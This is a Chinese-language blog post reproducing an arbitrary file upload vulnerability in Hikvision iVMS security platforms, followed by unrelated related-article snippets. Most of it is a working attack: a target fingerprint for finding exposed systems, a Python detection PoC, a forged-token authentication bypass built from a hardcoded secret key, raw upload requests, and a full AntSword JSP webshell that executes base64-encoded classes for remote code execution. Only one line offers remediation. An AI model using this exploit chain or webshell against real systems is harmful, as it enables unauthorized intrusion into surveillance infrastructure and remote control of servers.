海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

news/2025/2/2 14:48:30/

0x01 产品简介

        海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

0x02 漏洞概述

    海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

0x03 影响范围

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

0x04 复现环境

鹰图指纹:web.body="/views/home/file/installPackage.rar"

31332f00b8c049aea8717da98a203bfc.png

0x05 漏洞复现 

检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36","Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):if url.endswith("/"):path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"else:path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"encodetext = url + pathinput_name = hashlib.md5()input_name.update(encodetext.encode("utf-8"))return (input_name.hexdigest()).upper()def poc(url):if url.endswith("/"):path = "eps/api/resourceOperations/upload?token="else:path = "/eps/api/resourceOperations/upload?token="pocurl = url + path + md5encode(url)data = {"service": urllib.parse.quote(url + "/home/index.action")}try:response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)if response.status_code==200:print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")else:print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")except:passif __name__ == '__main__':parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',description='ivms漏洞检测poc',)p = parser.add_argument_group('ivms 的参数')p.add_argument("-u", "--url", type=str, help="测试单条url")p.add_argument("-f", "--file", type=str, help="测试多个url文件")args = parser.parse_args()if args.url:poc(args.url)if args.file:for i in open(args.file,"r").read().split("\n"):poc(i)

使用方式:

单个url检测:

python3 ivms-poc.py -u url

多个url检测:

python3 ivms-poc.py -f file.txt

 效果:

52b4b8a214974b41ada8b7ef49b03f8e.png

手动复现 

漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包,尝试访问接口(发现token需要进行鉴权)

40d246caa0b443ad989acdc14f581f8e.png

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")

f1b6c2ae791a46cea9209c27a9865bd6.png

重新验证

9c9498e6e7724206be1937832f9467ad.png

 可以看到,成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpegtest
------WebKitFormBoundaryGEJwiloiPo

786d036f3b4a46ee9e6767fae8d4bb90.png

显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

19718bb4eb734c718debe0ad107a4c38.png

0x06 漏洞利用

直接上传蚁剑jsp马子

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

a3fce95c880443dc89656ae6e6bb427a.png

上传成功,尝试连接

a1d4617623c641fcb1c0afef4c67ea1f.png

 0x07 修复建议

      关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

 

 

 

 


http://www.ppmy.cn/news/85549.html

相关文章

2024总统大选,成为“关乎比特币未来的公投”?背后是怎样的政治抱负?

在今年的迈阿密比特币大会上&#xff0c;Robert F.Kennedy Jr和Vivek Ramaswamy相继发布声明表示&#xff0c;他们将在2024年初选前接受比特币&#xff08;BTC&#xff09;的捐款。 RFK Jr作为美国前总统约翰肯尼迪的侄子&#xff0c;是第一个公开接受Crypto的总统候选人&#…

【深入浅出Maven开发实战】「入门教程系列」带你零基础学习和开发使用Maven开发工具实战指南(实战技术总结)

Maven介绍 由于Java的生态非常丰富&#xff0c;无论你想实现什么功能&#xff0c;都能找到对应的工具类&#xff0c;这些工具类都是以jar包的形式出现的&#xff0c;例如Spring,SpringMVC、MyBatis、数据库驱动&#xff0c;等等&#xff0c;都是以jar包的形式出现的&#xff0…

【嵌入式Linux】内核启动分析与源码跟踪

内核启动分析 BIOS/UEFI阶段&#xff1a;计算机开机后首先会执行BIOS或UEFI程序&#xff0c;进行一些硬件初始化操作&#xff0c;如检查硬件配置信息、启动自检程序、加载操作系统引导程序等。Bootloader阶段&#xff1a;BIOS/UEFI会加载引导程序&#xff0c;比如GRUB等&#…

Docker容器技术|最强王者篇

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开兴好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…

DDOS攻击应急响应指南

DDOS攻击应急响应指南 1.初步预判2.问题排查3.临时处置方法4.研判溯源5.清除加固1.初步预判 查看防火墙、流量监控设备、网络设备等是否出现安全告警或大量异常数据包查看是否存在特定的服务、页面请求,使服务器/主机无法及时处理所有正常请求。网页无法正常响应,甚至无法打开…

传染病学模型 | Matlab实现传染病模型SI、SIS、SIR

文章目录 SI模型SIS模型SIR模型SI模型 利用MATLAB求解传染病模型中的SI模型的解析解: 程序中a即λ,y即i y=dsolve(‘Dy=a*(y-y^2)’,‘y(0)=y0’) y = 1/(1-exp(-at)(-1+y0)/y0) 画图:SI模型的i~t曲线 设λ=1, i(0)=0.1 y=dsolve(‘Dy=y-y^2’,‘y(0)=0.1’) y = 1/(1+9*exp(…

复变函数结课报告——狄利克雷积分的几种证明

狄利克雷积分 ∫ 0 ∞ sin ⁡ x x d x π 2 \int_{0}^{\infty}\frac{\sin x}{x}\mathrm{d}x\frac{\pi}{2} ∫0∞​xsinx​dx2π​ 上式就是狄利克雷积分的形式。 考虑到这是复变函数的结课报告&#xff0c;因此给出的证明都将和复变函数有关&#xff0c;且以下变量和公式的用…

强化学习:值迭代和策略迭代

值迭代 通过上一章的学习&#xff0c;我们知道了贝尔曼最优方程的求解实际上分两部分&#xff0c;一是给定一个初始值 v k v_k vk​ 找到最优策略 π k 1 π_{k1} πk1​ &#xff0c;二是更新 v k 1 v_{k1} vk1​   下面&#xff0c;我们将详细剖析这个算法&#xff0…